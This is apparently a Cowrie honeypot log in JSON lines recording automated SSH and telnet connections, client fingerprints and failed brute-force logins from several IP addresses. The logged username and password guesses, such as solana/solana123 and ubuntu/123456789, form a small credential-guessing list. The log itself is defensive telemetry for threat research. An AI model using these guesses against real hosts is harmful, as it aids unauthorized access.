{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":52652,"dst_ip":"10.17.0.5","dst_port":22,"session":"6941bbfc61ec","protocol":"ssh","message":"New connection: 80.94.92.186:52652 (10.17.0.5:22) [session: 6941bbfc61ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:07:49.682233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:07:49.764954Z","src_ip":"80.94.92.186","session":"6941bbfc61ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:07:49.872421Z","src_ip":"80.94.92.186","session":"6941bbfc61ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:07:50.668936Z","src_ip":"80.94.92.186","session":"6941bbfc61ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:07:51.846959Z","src_ip":"80.94.92.186","session":"6941bbfc61ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":11186,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd43c48fd032","protocol":"ssh","message":"New connection: 2.57.121.25:11186 (10.17.0.5:22) [session: cd43c48fd032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:07.502888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:07.578920Z","src_ip":"2.57.121.25","session":"cd43c48fd032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:07.679427Z","src_ip":"2.57.121.25","session":"cd43c48fd032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26exkp","message":"login attempt [user/26exkp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:08.110102Z","src_ip":"2.57.121.25","session":"cd43c48fd032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26111990","message":"login attempt [user/26111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:09.213309Z","src_ip":"2.57.121.25","session":"cd43c48fd032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26101991","message":"login attempt [user/26101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:10.315906Z","src_ip":"2.57.121.25","session":"cd43c48fd032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26101978","message":"login attempt [user/26101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:11.419760Z","src_ip":"2.57.121.25","session":"cd43c48fd032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26091982","message":"login attempt [user/26091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:12.522472Z","src_ip":"2.57.121.25","session":"cd43c48fd032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:13.625932Z","src_ip":"2.57.121.25","session":"cd43c48fd032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":38244,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ea6c30b6494","protocol":"ssh","message":"New connection: 58.186.20.143:38244 (10.17.0.5:22) [session: 3ea6c30b6494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:16.156437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:16.166143Z","src_ip":"58.186.20.143","session":"3ea6c30b6494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:16.419454Z","src_ip":"58.186.20.143","session":"3ea6c30b6494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing12345","message":"login attempt [testing/testing12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:17.434074Z","src_ip":"58.186.20.143","session":"3ea6c30b6494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:18.683190Z","src_ip":"58.186.20.143","session":"3ea6c30b6494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.120.23","src_port":33388,"dst_ip":"10.17.0.5","dst_port":23,"session":"c038d540ab73","protocol":"telnet","message":"New connection: 157.49.120.23:33388 (10.17.0.5:23) [session: c038d540ab73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:19.193790Z"}
{"eventid":"cowrie.session.closed","duration":12.3011474609375,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:09:31.494819Z","src_ip":"157.49.120.23","session":"c038d540ab73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55322,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a9dad2f0e3b","protocol":"ssh","message":"New connection: 80.94.92.186:55322 (10.17.0.5:22) [session: 0a9dad2f0e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:10:51.218404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:10:51.294302Z","src_ip":"80.94.92.186","session":"0a9dad2f0e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:10:51.391034Z","src_ip":"80.94.92.186","session":"0a9dad2f0e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:10:51.970831Z","src_ip":"80.94.92.186","session":"0a9dad2f0e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:10:53.119174Z","src_ip":"80.94.92.186","session":"0a9dad2f0e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.37.165","src_port":45370,"dst_ip":"159.203.135.109","dst_port":23,"session":"290bea0f92c3","protocol":"telnet","message":"New connection: 72.167.37.165:45370 (159.203.135.109:23) [session: 290bea0f92c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:11:23.179008Z"}
{"eventid":"cowrie.session.closed","duration":30.891130685806274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:11:54.070011Z","src_ip":"72.167.37.165","session":"290bea0f92c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":48850,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee5057677b0f","protocol":"ssh","message":"New connection: 160.251.185.39:48850 (10.17.0.5:22) [session: ee5057677b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:17.711442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:17.716452Z","src_ip":"160.251.185.39","session":"ee5057677b0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:17.897044Z","src_ip":"160.251.185.39","session":"ee5057677b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:18.652401Z","src_ip":"160.251.185.39","session":"ee5057677b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:19.838523Z","src_ip":"160.251.185.39","session":"ee5057677b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.174.45","src_port":57446,"dst_ip":"10.17.0.5","dst_port":22,"session":"3867b1a01032","protocol":"ssh","message":"New connection: 106.13.174.45:57446 (10.17.0.5:22) [session: 3867b1a01032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:46.212058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:46.216995Z","src_ip":"106.13.174.45","session":"3867b1a01032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:47.108573Z","src_ip":"106.13.174.45","session":"3867b1a01032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing12345","message":"login attempt [testing/testing12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:48.068134Z","src_ip":"106.13.174.45","session":"3867b1a01032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:12:49.302319Z","src_ip":"106.13.174.45","session":"3867b1a01032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23666,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd3c508184a7","protocol":"ssh","message":"New connection: 194.59.206.2:23666 (10.17.0.5:22) [session: dd3c508184a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:13:22.694146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:13:22.698840Z","src_ip":"194.59.206.2","session":"dd3c508184a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:13:22.784950Z","src_ip":"194.59.206.2","session":"dd3c508184a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:13:22.875798Z","src_ip":"194.59.206.2","session":"dd3c508184a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58018,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ff2511aed1","protocol":"ssh","message":"New connection: 80.94.92.186:58018 (10.17.0.5:22) [session: 95ff2511aed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:13:48.127722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:13:48.273674Z","src_ip":"80.94.92.186","session":"95ff2511aed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:13:48.277287Z","src_ip":"80.94.92.186","session":"95ff2511aed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:13:49.311167Z","src_ip":"80.94.92.186","session":"95ff2511aed1","protocol":"ssh"}
